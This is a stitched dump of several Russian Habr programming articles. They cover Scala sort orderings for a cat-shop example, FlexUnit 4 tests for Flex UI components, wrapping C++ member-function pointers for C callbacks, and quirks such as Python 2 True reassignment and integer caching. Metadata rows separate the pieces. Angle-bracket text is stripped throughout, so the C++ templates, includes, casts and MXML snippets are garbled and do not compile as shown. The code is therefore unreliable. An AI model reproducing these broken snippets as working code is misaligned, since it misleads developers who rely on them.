Это было сделано из соображений безопасности. Подробнее можно ознакомиться [здесь](https://code.google.com/p/chromium/issues/detail?id=457157&q=fetch%20no-cors&colspec=ID%20Pri%20M%20Week%20ReleaseBlock%20Cr%20Status%20Owner%20Summary%20OS%20Modified). | https://habr.com/ru/post/252941/ | null | ru | null |
# Сортировка в Scala — пример на кошках
Привет, Хабр! Выношу на ваш суд русскоязычный перевод моей статьи на Medium: [Sorting in Scala — a cat shop example](https://medium.com/swlh/sorting-in-scala-a-cat-shop-example-1888b843056b). Статья рассчитана на читателей, знающих синтаксис языка Scala и осведомлённых о базовых инструментах стандартной библиотеки.
Несмотря на то, что и Java, и Scala используют JVM в качестве runtime-платформы, Scala получила известность как гораздо более выразительный язык, благодаря значительной адаптации концепций функционального программирования и богатой стандартной библиотеке. В этой статье я рассмотрю пример данной выразительности, попытавшись представить, как небольшой участок кодовой базы и соответствующие требования могут эволюционировать с течением времени.
Первоначальная постановка задачи
--------------------------------
Представим, что в нашем распоряжении находится магазин кошек (поскольку [кошки](https://typelevel.org/cats/) — самое популярное животное в Scala-экосистеме). Из-за особенностей получения информации о кошках, доступных к продаже, в некоторых случаях информация поступает не из базы данных и должна быть отсортирована вручную перед отправкой HTTP ответа клиенту или обработкой её каким-либо другим образом. Основным объектом предметной области является, конечно, `Cat`, который в начале обладает только тремя полями примитивных типов. Задачей является разработать API для сортировки коллекций кошек, удовлетворяющий следующим требованиям:
* Порядок сортировки может быть определён по каждому из полей
* Порядок сортировки может быть не определён для любого из полей
* Сортировка должна быть стабильной для полей с неопределённым порядком сортировки
* Каждое поле имеет предопределённый приоритет при сортировке (т.е. сортировка по полю `age` будет всегда приоритетнее сортировки по полю `name`)
Первая итерация
---------------
```
case class Cat(age: Int,
name: String,
available: Boolean)
```
Поскольку постановка задачи относительно проста, а информация о других частях проекта отсутствует, первоначальное решение лучше сделать простым. К счастью, `scala.Ordering` уже определяет удобный метод `Tuple3`, с помощью которого можно создавать экземпляры `Ordering` для кортежей размерности 3, к которым легко приводится любой объект класса `Cat`.
Тем не менее, взаимодействовать с `Tuple3` напрямую несколько затруднительно, поскольку данный метод требует явного предоставления сортировки при необходимости изменения порядка. Более того, отсутствует возможность удобного исключения полей из сортировки — необходимо либо переключаться между методами `Tuple1`, `Tuple2`, `Tuple3`, либо явно предоставлять для игнорируемых полей тождественный объект `Ordering`, не меняющий исходного порядка элементов. Всего нужно будет рассмотреть 9 случаев (3 возможных порядка сортировки и 3 поля), поскольку приоритет сортировки предопределён.
Для того, чтобы упростить API и приблизить его к предметной области, введём "порядок сортировки" как сущность. Согласно требованиям, существует всего 3 порядка: по возрастанию (естественный), по убыванию (обратный естественному) и "отсутствующий" (сохраняет исходный порядок). Это естественным образом отображается в следующий алгебраический тип данных (ADT):
```
sealed trait SortOrder
object SortOrder {
case object Keep extends SortOrder
case object Asc extends SortOrder
case object Desc extends SortOrder
}
```
Необходимо также определить способ применения порядка сортировки к `Ordering`. Поскольку `SortOrder` выглядит как класс, который можно активно переиспользовать, данную функциональность лучше всего вынести как синтасическое расширение, чтобы она не пересекалась с определением класса:
```
import common.OrderingUtil
import iteration1.SortOrder.{Asc, Desc, Keep}
object syntax {
implicit class OrderSyntax(val order: SortOrder) extends AnyVal {
def apply[A](ordering: Ordering[A]): Ordering[A] =
order match {
case Keep => OrderingUtil.identity
case Asc => ordering
case Desc => ordering.reverse
}
}
}
```
`OrderingUtil.identity` — вспомогательная функция, предоставляющая тождественный порядок сортировки для любого типа `A`, сохраняющий порядок элементов. Она определена как: `Ordering.by(_ => 0)`.
Теперь, когда основные элементы определены, остаётся только создать непосредственно `Ordering[Cat]`. С этой целью создан модуль `CatOrdering`:
```
import iteration1.syntax._
object CatOrdering {
def of(idOrder: SortOrder,
nameOrder: SortOrder,
availableOrder: SortOrder): Ordering[Cat] =
Ordering
.Tuple3(idOrder(Ordering.Int), nameOrder(Ordering.String), availableOrder(Ordering.Boolean))
.on[Cat](cat => (cat.age, cat.name, cat.available))
}
```
Теперь любой необходимый порядок сортировки (`Ordering[Cat]`) может быть создан при помощи функции `CatOrdering.of`:
```
CatOrdering.of(SortOrder.Asc, SortOrder.Keep, SortOrder.Desc)
```
Поскольку число тестовых случаев относительно велико, для проверки корректности реализации можно использовать комбинацию ScalaTest и ScalaCheck с целью написания property-based тестов. Это позволит автоматически генерировать коллекции, для которых можно проверить корректность заданного порядка сортировки. Набор тестов для первой итерации доступен по [ссылке](https://github.com/J0kerPanda/scala-cats-ordering/blob/master/src/test/scala/iteration1/OrderingTest.scala).
Вторая итерация
---------------
С момента первой итерации магазин вырос и в классе `Cat` появилось новое **опциональное** поле.
```
case class Cat(age: Int,
name: String,
available: Boolean,
owner: Option[String])
```
Основное отличие от примитивных типов в том, что появился особый случай — пустое значение (не имеет ничего общего с `null`!), которое, в зависимости от предпочтений, может считаться либо максимальным значением, либо минимальным. Это означает, что существует 4 возможных порядка сортировки по этому полю:
1. По возрастанию, пустые значения в начале (естественный)
2. По возрастанию, пустые значения в конце
3. По убыванию, пустые значения в начале
4. По убыванию, пустые значения в конце (обратный естественному)
В то время как два из них (1 и 4) можно получить при помощи `scala.Ordering.Option`, оставшиеся 2 должны быть заданы явно. Поскольку `SortOrder` теперь ответственен за работу с пустыми значениями, он явно определяет их приоритет:
```
sealed trait SortOrder
object SortOrder {
case class Asc(emptyFirst: Boolean) extends SortOrder
case class Desc(emptyFirst: Boolean) extends SortOrder
case object Keep extends SortOrder
object Asc {
def emptyFirst: Asc = Asc(emptyFirst = true)
def emptyLast: Asc = Asc(emptyFirst = false)
}
object Desc {
def emptyFirst: Desc = Desc(emptyFirst = true)
def emptyLast: Desc = Desc(emptyFirst = false)
}
}
```
Соответствующие изменения произведены и для синтаксического расширения `SortOrder`. Метод `optional` предоставляет `Ordering[Option[A]]` для любого `A`, вместе с тем применяя правило для пустых значений, определённое в `SortOrder`. Стоит отметить, что, хотя `Ordering[Option[A]]` можно также создать и с помощью метода `apply`, для этого необходимо явно предоставить `Ordering[Option[A]]`, что исключает возможность сделать это случайно. Данное небольшое противоречие можно устранить предоставлением доказательства, что `A` в `apply` не является наследником `Option`. Для изучения инструментов возможной реализации можно ознакомиться с [`документацией класса <:<`](https://www.scala-lang.org/api/current/scala/%24less%24colon%24less.html), и [данным вопросом на StackOverflow](https://stackoverflow.com/questions/15962743/using-context-bounds-negatively-to-ensure-type-class-instance-is-absent-from-s) (в Dotty `Not` [доступен как часть стандартной библиотеки](https://dotty.epfl.ch/api/scala/implicits/Not.html)).
```
import common.OrderingUtil
import iteration2.sort_order.SortOrder._
object syntax {
private object OptionOrdering {
def apply[A](rootOrdering: Ordering[A],
emptyFirst: Boolean): Ordering[Option[A]] =
if (emptyFirst)
OptionOrdering.emptyFirst(rootOrdering)
else
OptionOrdering.emptyLast(rootOrdering)
def emptyFirst[A](rootOrdering: Ordering[A]): Ordering[Option[A]] =
(x: Option[A], y: Option[A]) => (x, y) match {
case (None, None) => 0
case (None, _) => -1
case (_, None) => 1
case (Some(a), Some(b)) => rootOrdering.compare(a, b)
}
def emptyLast[A](rootOrdering: Ordering[A]): Ordering[Option[A]] =
(x: Option[A], y: Option[A]) => (x, y) match {
case (None, None) => 0
case (None, _) => 1
case (_, None) => -1
case (Some(a), Some(b)) => rootOrdering.compare(a, b)
}
}
implicit class OrderSyntax(val order: SortOrder) extends AnyVal {
def optional[A](ordering: Ordering[A]): Ordering[Option[A]] =
order match {
case Keep => OrderingUtil.identity
case Asc(emptyFirst) => OptionOrdering(ordering, emptyFirst)
case Desc(emptyFirst) => OptionOrdering(ordering.reverse, emptyFirst)
}
def apply[A](ordering: Ordering[A]): Ordering[A] =
order match {
case Keep => OrderingUtil.identity
case Asc(_) => ordering
case Desc(_) => ordering.reverse
}
}
}
```
```
import iteration2.sort_order.SortOrder
import iteration2.sort_order.syntax._
import scala.Ordering.{Boolean => BooleanO, Int => IntO, String => StringO}
object CatOrdering {
def toOrdering(idOrder: SortOrder,
nameOrder: SortOrder,
availableOrder: SortOrder,
ownerOrder: SortOrder): Ordering[Cat] = {
Ordering
.Tuple4(idOrder(IntO), nameOrder(StringO), availableOrder(BooleanO), ownerOrder.optional(StringO))
.on[Cat](cat => (cat.age, cat.name, cat.available, cat.owner))
}
}
```
Пример создания `Ordering[Cat]` приведён ниже. Необходимо заметить, что для обязательных полей всё равно необходимо предоставлять правило сортировки пустых значений.
```
CatOrdering.toOrdering(
SortOrder.Asc.emptyFirst,
SortOrder.Asc.emptyFirst,
SortOrder.Asc.emptyFirst,
SortOrder.Asc.emptyFirst
)
```
С учётом изменений, связанных с `Option`, теперь тесты должны покрывать все возможные варианты работы с пустыми значениями. Набор тестов для второй итерации доступен по [ссылке](https://github.com/J0kerPanda/scala-cats-ordering/blob/master/src/test/scala/iteration2/OrderingTest.scala).
### Третья итерация
На текущем этапе проект позволяет создавать нетривиальные порядки сортировки для коллекций кошек. Тем не менее, существуют некоторые ограничения:
1. Приоритет полей при сортировке заранее определён.
2. Если для каких-либо полей порядок сортировки не задан, его всё ещё необходимо предоставить с помощью `SortOrder.Keep`.
3. Количество полей класса `Cat` ограничено 9. После этого не существует метода `Tuple10` и реализация должна существенно поменяться.
Новые бизнес-требования в этот раз относятся к последнему пункту. Теперь магазин предоставляет так много информации о кошках, что у класса `Cat` в наличии уже 10 полей. С учётом столь большого их числа, очевидно, что только лишь некоторые из них будут использоваться при сортировке. Более того, стало сложнее предопределить осмысленный приоритет полей, а явное определение `SortOrder` для каждого из них сделает код слишком многословным. В этот раз изменения будут более значительными.
Основная идея заключается в том, чтобы не только предоставить порядок сортировки определённых полей, но и сами поля. Набор полей и связанных с ними порядков сортировки затем трансформируется в порядок сортировки для `Cat`. Упорядоченная коллекция таких пар естественным образом задаёт необходимый приоритет сортировки (ограничение №1) и требуемые для сортировки поля (ограничение №2), а добавление в класс нового поля потребует лишь незначительных изменений и не повлияет на основную реализацию (ограничение №3). Реализация этой идеи приведена ниже (`SortOrder` и его синтаксическое расширение не приводятся ввиду отсутствия существенных изменений):
```
import java.time.LocalDate
case class Cat(age: Int,
name: String,
available: Boolean,
owner: Option[String],
breed: String,
furColor: String,
eyeColor: String,
registrationId: String,
lastHealthCheck: Option[LocalDate],
urgentSell: Boolean)
```
```
import java.time.LocalDate
import iteration3.sort_order.SortOrder
import iteration3.sort_order.syntax._
import scala.Ordering._
sealed trait CatField {
def toOrdering(sortOrder: SortOrder): Ordering[Cat]
}
object CatField {
case object Age extends CatField {
override def toOrdering(sortOrder: SortOrder): Ordering[Cat] =
sortOrder(Ordering.Int).on(_.age)
}
case object Name extends CatField {
override def toOrdering(sortOrder: SortOrder): Ordering[Cat] =
sortOrder(Ordering.String).on(_.name)
}
case object Available extends CatField {
override def toOrdering(sortOrder: SortOrder): Ordering[Cat] =
sortOrder(Ordering.Boolean).on(_.available)
}
case object Owner extends CatField {
override def toOrdering(sortOrder: SortOrder): Ordering[Cat] =
sortOrder.optional(Ordering.String).on(_.owner)
}
case object Breed extends CatField {
override def toOrdering(sortOrder: SortOrder): Ordering[Cat] =
sortOrder(Ordering.String).on(_.breed)
}
case object FurColor extends CatField {
override def toOrdering(sortOrder: SortOrder): Ordering[Cat] =
sortOrder(Ordering.String).on(_.furColor)
}
case object EyeColor extends CatField {
override def toOrdering(sortOrder: SortOrder): Ordering[Cat] =
sortOrder(Ordering.String).on(_.eyeColor)
}
case object RegistrationId extends CatField {
override def toOrdering(sortOrder: SortOrder): Ordering[Cat] =
sortOrder(Ordering.String).on(_.registrationId)
}
case object LastHealthCheck extends CatField {
override def toOrdering(sortOrder: SortOrder): Ordering[Cat] =
sortOrder.optional(Ordering.by[LocalDate, Long](_.toEpochDay)).on(_.lastHealthCheck)
}
case object UrgentSell extends CatField {
override def toOrdering(sortOrder: SortOrder): Ordering[Cat] =
sortOrder(Ordering.Boolean).on(_.urgentSell)
}
}
```
```
import common.OrderingUtil
import iteration3.sort_order.SortOrder
object CatOrdering {
def byFields(fields: Seq[(CatField, SortOrder)]): Ordering[Cat] =
if (fields.isEmpty) OrderingUtil.identity[Cat]
else {
val (head, headOrder) = fields.head
val (res, _) = fields.tail.foldLeft[(Ordering[Cat], Set[CatField])]((head.toOrdering(headOrder), Set())) {
case (acc@(_, presentFields), (field, _)) if presentFields.contains(field) =>
acc
case ((ordering, presentFields), (field, order)) =>
(ordering.orElse(field.toOrdering(order)), presentFields + field)
}
res
}
}
```
Реализация в основном полагается на метод `orElse`, применяющий другой порядок сортировки, если согласно уже имеющемуся порядку сравниваемые объекты эквивалентны. Он во многом идентичен методу `thenComparing` класса `Comparator` в языке Java. Данный метод доступен также и для `Ordering`, поскольку он является расширением `Comparator` в целях совместимости. Тем не менее, `orElse` гораздо лучше работает с классами языка Scala, а также обладает удобной альтернативой `orElseBy`.
Необходимо отметить, что, поскольку функция `byFields` применяется к произвольной упорядоченной коллекции без ограничений на уникальность её элементов, повторные вхождения обрабатываются вручную. Также, чтобы избежать излишних сравнений в `OrderingUtil.identity`, случай непустой коллекции обрабатывается отдельно. Данные особенности несут исключительно оптимизационный характер и не влекут функциональных отличий от реализации "в лоб", использующей `foldLeft`, поскольку повторные вхождения не влияют на результат.
Дополнительным преимуществом является возможность избавиться от `SortOrder.Keep`, поскольку коллекция, используемая для создания порядка сортировки, будет включать только необходимые поля и игнорировать остальные. Для порядка сортировки, не меняющего порядок элементов, необходимо предоставить пустую коллекцию. Это достаточно удобно при отображении в объекты предметной области HTTP запросов или пользовательских команд, которые будут предоставлять только требуемые правила сортировки.
Недостатком такого подхода является более многословная модель. Вероятно, подобного рода перечисление полей так или иначе понадобилось бы для вышеупомянутого отображения запросов, но определения полей выглядят скорее шаблонным кодом, чем полноценной частью логики. Четвёртая итерация могла бы определять макрос компилятора (с поддержкой аннотаций для нетривиальных сортировок) для автоматической генерации объектов полей, но представляется сомнительным, что реальные проекты дойдут до этого этапа. Текущий подход, тем не менее, позволяет легко добавлять и удалять поля, поскольку код, связанный с заданием порядка сортировки, никак не изменится.
Набор тестов для третьей итерации доступен по [ссылке](https://github.com/J0kerPanda/scala-cats-ordering/blob/master/src/test/scala/iteration3/OrderingTest.scala).
Заключение
----------
Хотя итоговая реализация может выглядеть похожим образом и в других языках программирования, мне кажется, что Scala предоставляет хороший компромис между типобезопасностью и понятностью и читаемостью кода. Надеюсь, что данная публикация помогла лучше понять, как можно сортировать коллекции в Scala, или подсказала идеи, которые можно применить в коде, не связанном напрямую с `Ordering`.
Все примеры кода доступны в [данном github репозитории](https://github.com/J0kerPanda/scala-cats-ordering) | https://habr.com/ru/post/495130/ | null | ru | null |
# Особенности тестирования Flex UI-компонентов с помощью FlexUnit 4
По работе как-то потребовалось добавить функциональность в один самописный flex-компонент. При этом важно было не поломать уже существующее поведение, т.к. компонент за время своего существования был использован в нескольких приложениях и оброс наследниками.
Стандартный подход к решению подобных задач — начать с написания юнит-тестов, покрывающих нынешнее поведение компонента, попутно проясняя для себя особенности его устройства.
Только после этого можно начинать пошаговый рефакторинг и расширение функциональности, постоянно прогоняя тесты на предмет не сломалось ли чего в результате изменений. [3]
Задача однако осложняется тем, что визуальные компоненты во флекс имеют многофазную асинхронную процедуру инициализации и обновления свойств, и для них требуется особые средства для написания тестов. FlexUnit 4 позволяет легко справляться с этой задачей, и ниже я покажу как это делать, а заодно и раскрою пару нюансов.
При тестировании наследников UIComponent мы должны учитывать, что большинство свойств компонента находятся в нестабильном состоянии до тех пор, пока тот не будет добавлен в display list и не пройдет все стадии инициализации (createChildren, commitProperties, measure, updateDisplayList и пр).
Если запустить тест до этого события, то в зависимости от скорости и загруженности компьютера, на котором запущены тесты, мы будем получать компонент в немного различных состояниях. Чтобы этого не произошло, мы должны дождаться события CREATION\_COMPLETE.
Предположим, мы хотим создать кнопку, которая не бы только пряталась при установке visible=false, но и при этом не влияла на расположение других компонентов, то есть includeInLayout = false.
```
xml version="1.0"?
override public function set visible(value:Boolean):void {
super.visible = value;
invalidateProperties();
}
override protected function commitProperties():void {
super.commitProperties();
includeInLayout = visible;
// раскомментируйте это, если нужно слушать событие VALUE\_COMMIT
//dispatchEvent(new FlexEvent(FlexEvent.VALUE\_COMMIT));
}
```
Тут конечно можно было includeInLayout = visible задать и в самой функции set visible, но хочется показать более общий случай, когда есть много взаимосвязанных свойств и все их нужно проапдейтить именно в commitProperties.
Чтобы «на глаз» проверять, что у нас все работает правильно, запустим тестовое приложеньице:
```
xml version="1.0"?
```
Теперь попробуем написать сам тест:
```
package {
import flash.events.Event;
import flexunit.framework.Assert;
import mx.core.Application;
import mx.events.FlexEvent;
import org.flexunit.asserts.assertEquals;
import org.flexunit.async.Async;
public class HidingButtonAsyncTest {
public var myBtn:HidingButton;
// Этот код выполняется ПЕРЕД запуском каждого теста,
// помеченного метатегом [Test]
[Before( async )]
public function setUp():void {
myBtn = new HidingButton();
// Дождаться события CREATION_COMPLETE которое произойдет после вызова addChild
Async.proceedOnEvent(this, myBtn, FlexEvent.CREATION_COMPLETE, 1000);
Application.application.addChild(myBtn);
}
// Этот код выполняется ПОСЛЕ запуска каждого теста,
// помеченного метатегом [Test]
[After( async )]
public function tearDown():void {
Application.application.removeChild(myBtn);
myBtn = null;
}
[Test(async, description="тест значений по умолчанию")]
public function testDefaultState():void {
assertEquals(myBtn.visible, true);
assertEquals(myBtn.includeInLayout, true);
}
[Test(async, description="скрываем кнопку")]
public function testHideButton():void {
myBtn.addEventListener('includeInLayoutChanged',
Async.asyncHandler(this, handleVerifyProperty, 100, null, handleEventNeverOccurred), false, 0, true);
myBtn.visible = false;
// эта функция уникальная для каждого теста, вызывается при срабатывании нужного события
function handleVerifyProperty(event:Event, passThroughData:Object):void {
assertEquals(myBtn.includeInLayout, false);
}
}
// обработчик таймаута, общий для всех тестов
private function handleEventNeverOccurred(passThroughData:Object):void {
Assert.fail('Pending Event Never Occurred');
}
}
}
```
##### Нюансы
1. Как видно из кода, я использовал слушатель на внутреннее событие UIComponent 'includeInLayoutChanged' чтобы поймать изменения свойства includeInLayout. В документации по FlexUnit [1] рекомендуют использовать FlexEvent.VALUE\_COMMIT, но оно не всегда диспатчится, приходится его диспатчить самому.
В самом общем случае, когда трудно выделить какое-либо событие, после которого можно проверять свойства, можно тестировать компонент как любой другой асинхронный процесс: установить таймер с гарантированно большим интервалом. Тогда наш тест перепишется так:
```
[Test(async, description="проверка свойства по таймауту")]
public function testHideButtonWithTimer():void {
var timer:Timer = new Timer(50,1);
timer.addEventListener(TimerEvent.TIMER_COMPLETE,
Async.asyncHandler(this, handleVerifyProperty, 100, {}, handleEventNeverOccurred), false, 0, true);
myBtn.visible = false;
timer.start();
function handleVerifyProperty(event:Event, passThroughData:Object):void {
assertEquals(myBtn.includeInLayout, false);
}
}
```
Если нужно делать много таких тестов с таймером, то инициализацию и обнуление таймера нужно вынести в соответствующие методы [Before] и [After].
2. Этот тест писался под Flex Sdk 3.\*, если вы работаете с Flex 4.\*, вместо **Application.application.addChild(myBtn)** нужно использовать **FlexGlobals.topLevelApplication.addChild(myBtn)**.
3. Недостаток добавления тестируемых компонентов непосредственно в Application.application в том, что компонент виден в окне тест-раннера, а также в том, что стили тест-раннера могут повлиять на стили вашего компонента.
Чтобы избежать этого, в FlexUnit есть специальный класс **UIImpersonator**, который эмулирует добавление компонента в display list. ~~К сожалению, мне не удалось заставить работать UIImpersonator в Ant-сборках и из Intellij — получаю ошибку «Timeout Occurred before expected event». Возможно кто-то подскажет почему.~~ Пример как использовать UIImpersonator см. ниже в комментах.
**UPD:** Чтобы работало из Intellij и ant, нужно удалить из списка подключенных библиотек flexunit-4.1.0-33-as3\_3.5.0.12683.swc. Она конфликтует с аналогичной для флекса.
##### Список литературы
1. Дока по FlexUnit: [docs.flexunit.org/index.php?title=Main\_Page](http://docs.flexunit.org/index.php?title=Main_Page)
2. Создание и запуск юнит-тестов из FlashBuilder: [habrahabr.ru/blogs/Flash\_Platform/89487](http://habrahabr.ru/blogs/Flash_Platform/89487/)
3. Настольная книга по рефакторингу: Michael Feathers. Working Effectively with Legacy Code. | https://habr.com/ru/post/132255/ | null | ru | null |
# Передаем указатели на функции-члены в C API
Энное время назад в одной XMPP-комнате, посвященной C++, один посетитель спросил, нет ли какого способа в современных плюсах без лишнего кода передать указатель на функцию-член класса в качестве коллбека в C API. Ну, что-то вроде:
```
// C API
void doWithCallback (void (*fn) (int, void*), void *userdata);
// C++ code
struct Foo
{
void doFoo (int param);
};
int main ()
{
Foo foo;
doWithCallback (MAGIC (/* &Foo::doFoo */), &foo);
}
```
Понятно, что в качестве `MAGIC` можно использовать свободную функцию, статическую функцию-член или вообще лямбду (2017-й год на дворе, всё-таки), но писать соответствующую конструкцию каждый раз для каждой функции руками несколько лениво, а препроцессор, как мы все, конечно, знаем — моветон.
В этом посте мы попробуем (и, что характерно, у нас это получится) написать универсальную обёртку, а заодно посмотрим, как кое-какая фишка из C++17 поможет нам ещё сократить количество избыточного кода. Никаких крышесносных шаблонов здесь не будет, решение, на мой взгляд, достаточно тривиально, но, пожалуй, им всё равно имеет смысл поделиться (и заодно лишний раз попиарить новые возможности C++17).
Сначала решим задачу попроще: предположим, что функция-член не принимает никаких аргументов (кроме неявного `this`, конечно, который нам и предстоит передать). Типичное лобовое решение тогда будет выглядеть примерно так:
```
doWithCallback ([] (void *udata) { return static_cast (udata)->doFoo (); }, &foo);
```
**Черновик кода, от которого мы будем отталкиваться**
```
#include
void doWithCallback (void (\*fn) (void\*), void \*userdata)
{
fn (userdata);
}
struct Foo
{
int m\_i = 0;
void doFoo ()
{
std::cout << m\_i << std::endl;
}
};
int main ()
{
Foo foo { 42 };
doWithCallback ([] (void \*udata) { return static\_cast (udata)->doFoo (); }, &foo);
}
```
Если мы хотим сделать обобщённую обёртку, то, естественно, ей как-то надо передавать в точке создания коллбека, какую именно функцию над каким именно классом мы хотим вызвать. Кроме того, обёртке надо сохранить, собственно, что именно ей надо вызвать. Если с передачей всё просто (взяли указатель на функцию-член и передали), то сохранить его так просто не получится:
код вроде:
```
template
auto MakeWrapper (Ptr ptr)
{
return [ptr] (void \*udata) { return (static\_cast (udata)->\*ptr) (); };
}
int main ()
{
Foo foo { 42 };
doWithCallback (MakeWrapper (&Foo::doFoo), &foo);
}
```
ожидаемо не соберётся, так как лямбды с непустым списком захвата нельзя преобразовать к сишному указателю на функцию:
```
prog.cc:36:5: error: no matching function for call to 'doWithCallback'
doWithCallback (MakeWrapper (&Foo::doFoo), &foo);
^~~~~~~~~~~~~~
prog.cc:3:6: note: candidate function not viable: no known conversion from '(lambda at prog.cc:29:12)' to 'void (*)(void *)' for 1st argument
void doWithCallback (void (*fn) (void*), void *userdata)
^
```
Это имеет смысл: в сишном указателе на функцию недостаточно «места», чтобы кроме собственно указываемой функции сохранить ещё и некоторый контекст (или хотя бы указатель на него).
Так что же делать? Мы обречены?
Нет! На помощь приходят non-type template parameters: в подавляющем большинстве случаев при передаче коллбека мы на этапе компиляции знаем, какую именно функцию мы хотим вызвать, значит, мы можем параметризовать этим некоторый шаблон, и никакой информации в рантайме тащить с собой не придётся.
Подобно тому, как мы можем параметризовать шаблон, скажем, целым числом, мы можем его параметризовать и указателем на функцию. Попробуем:
```
template
auto MakeWrapper ()
{
return [] (void \*udata) { return (static\_cast (udata)->\*Ptr) (); };
}
int main ()
{
Foo foo { 42 };
doWithCallback (MakeWrapper (), &foo);
}
```
Работает! Но есть одна проблема: тип возвращаемого значения, тип класса и список типов параметров функции (в нашем случае он пустой) необходимо указывать каждый раз руками. А ведь лень же. Можем ли мы лучше?
В C++11/14 мы можем заставить компилятор вывести вышеупомянутые типы, но для этого придётся указать желаемую функцию-член дважды: один раз для вывода *типа* переменной, соответствующей указателю на эту функцию, из которого мы уже сможем получить всё нужное, чтобы сформировать правильную «сигнатуру» для non-type-аргумента шаблона. Как-то так:
```
template
struct MakeWrapperHelper
{
template
static R DetectReturnImpl (R (C::\*) ());
template
static C DetectClassImpl (R (C::\*) ());
template
using DetectReturn = decltype (DetectReturnImpl (std::declval ()));
template
using DetectClass = decltype (DetectClassImpl (std::declval ()));
using R = DetectReturn;
using C = DetectClass;
template
auto Make ()
{
return [] (void \*udata) { return (static\_cast (udata)->\*Ptr) (); };
}
};
template
auto MakeWrapper (T)
{
return MakeWrapperHelper {};
}
int main ()
{
Foo foo { 42 };
doWithCallback (MakeWrapper (&Foo::doFoo).Make<&Foo::doFoo> (), &foo);
}
```
**Полный код**
```
#include
#include
void doWithCallback (void (\*fn) (void\*), void \*userdata)
{
fn (userdata);
}
struct Foo
{
int m\_i = 0;
void doFoo ()
{
std::cout << m\_i << std::endl;
}
};
template
struct MakeWrapperHelper
{
template
static R DetectReturnImpl (R (C::\*) ());
template
static C DetectClassImpl (R (C::\*) ());
template
using DetectReturn = decltype (DetectReturnImpl (std::declval ()));
template
using DetectClass = decltype (DetectClassImpl (std::declval ()));
using R = DetectReturn;
using C = DetectClass;
template
auto Make ()
{
return [] (void \*udata) { return (static\_cast (udata)->\*Ptr) (); };
}
};
template
auto MakeWrapper (T)
{
return MakeWrapperHelper {};
}
int main ()
{
Foo foo { 42 };
doWithCallback (MakeWrapper (&Foo::doFoo).Make<&Foo::doFoo> (), &foo);
}
```
Но это всё выглядит страшновато и плохо пахнет. Можем ли мы лучше?
Возможно, в рамках C++14 и можем, но я не придумал, как, а скорее нашёл доказательство, что этого сделать нельзя, но поля этой статьи слишком узки для него.
Итак, основная проблема состоит в том, что мы обязаны явно указать тип non-type-аргумента шаблона, для чего нам нужно в том или ином виде явно же указать все эти типы возвращаемых значений и прочие подобные вещи. К счастью, в C++17 добавили ровно то, что нам нужно: автоматический вывод типа аргумента шаблона (работает пока только в разрабатываемых ветках clang и gcc). Искомый код существенно упрощается:
```
template
C DetectClassImpl (R (C::\*) ());
template
auto MakeWrapper ()
{
using C = decltype (DetectClassImpl (T));
return [] (void \*udata) { return (static\_cast (udata)->\*T) (); };
}
int main ()
{
Foo foo { 42 };
doWithCallback (MakeWrapper<&Foo::doFoo> (), &foo);
}
```
Всё.
А, нет, не всё. Вспомним, что изначально наша функция-член могла принимать произвольный набор параметров. Аналогично можно определить `DetectArgsImpl`, возвращающий список типов аргументов:
```
template
std::tuple DetectArgsImpl (R (C::\*) (Args...));
```
и воспользоваться частичной специализацией для его разворачивания:
```
template
struct MakeWrapperHelper;
template
struct MakeWrapperHelper>
{
auto operator() ()
{
using C = decltype (DetectClassImpl (T));
return [] (Args... args, void \*udata) { return (static\_cast (udata)->\*T) (args...); };
}
};
template
auto MakeWrapper ()
{
return MakeWrapperHelper {} ();
}
```
**Все вместе**
```
#include
#include
void doWithCallback (void (\*fn) (int, void\*), void \*userdata)
{
fn (7831505, userdata);
}
struct Foo
{
int m\_i = 0;
void doFoo (int val)
{
std::cout << m\_i << " vs " << val << std::endl;
}
};
template
C DetectClassImpl (R (C::\*) (Args...));
template
std::tuple DetectArgsImpl (R (C::\*) (Args...));
template
struct MakeWrapperHelper;
template
struct MakeWrapperHelper>
{
auto operator() ()
{
using C = decltype (DetectClassImpl (T));
return [] (Args... args, void \*udata) { return (static\_cast (udata)->\*T) (args...); };
}
};
template
auto MakeWrapper ()
{
return MakeWrapperHelper {} ();
}
int main ()
{
Foo foo { 42 };
doWithCallback (MakeWrapper<&Foo::doFoo> (), &foo);
}
```
Такие дела. Можно смело брать Tox API, libpurple API, gstreamer API, какое угодно сишное API и избегать кучи бойлерплейта.
В качестве упражнения интересующемуся читателю можно добавить указание аргументов, которые передаются коллбеку сишным API, но которые нужно игнорировать — например, Tox первым аргументом передаёт указатель на себя же, который вполне может быть и так доступен в нашем плюсовом коде.
А ещё хабрахабровской раскрашивалке синтаксиса от всего этого плохеет, кажется. | https://habr.com/ru/post/321934/ | null | ru | null |
# Вредные заклинания в программировании
С тех пор, как я посмотрел легендарное видео [Wat](https://www.destroyallsoftware.com/talks/wat) Гэри Бернхардта, меня завораживает странное поведение некоторых языков программирования. Некоторые из них таят больше сюрпризов, чем другие. Например, для Java написана [целая книга](https://www.amazon.com/gp/product/032133678X/) с описанием пограничных ситуаций и странной специфики. Для C++ вы просто можете почитать [сами спецификации](https://www.iso.org/standard/68564.html) всего за $200. 
Далее поделюсь с вами моей коллекцией самых неожиданных, забавных и всё-таки валидных «заклинаний» программирования. По сути, использование этих особенностей поведения ЯП считается пагубным, поскольку ваш код никоим образом не должен быть непредсказуемым. Хорошо, что многие линтеры уже осведомлены и готовы посмеяться над вами, если попробуете какое-то из перечисленных дурачеств. Но как говорится, знание — сила, так что начнём.
Вражеское переназначение True в Python 2
========================================
Рифмуется с *true*, так что вы знаете, что это *poo* («какашка»).
```
>>> True = False
>>> True
False
```
К счастью, такой код выводит `SyntaxError` в версии Python 3, поскольку [True, False и None теперь стали зарезервированными словами](https://docs.python.org/3.0/whatsnew/3.0.html). Такая шалость всё-таки далека от подлости в C++, когда вы вставляете `#define true false` в стандартный заголовочный файл на рабочей машине коллеги.
Призрачное взаимодействие с объектом в Java и Python
====================================================
Семантика `==` часто озадачивает начинающих Java-программистов, но ещё более усложняет ситуацию непостоянство оператора даже в тривиальных ситуациях, пусть это и сделано для производительности.
```
Integer a = 100;
Integer b = 100;
System.out.print(a == b); // prints true
Integer c = 200;
Integer d = 200;
System.out.print(c == d); // prints false
```
JVM использует однотипный справочник для значений в диапазоне `[-128, 127]`. Что ещё более странно, так это соответствующее поведение Python.
```
>>> x = 256
>>> y = 256
>>> x is y
True
>>> x = 257
>>> y = 257
>>> x is y
False
```
Пока ничего *слишком* удивительного.
```
>>> x = -5
>>> y = -5
>>> x is y
True
>>> x = -6
>>> y = -6
>>> x is y
False
```
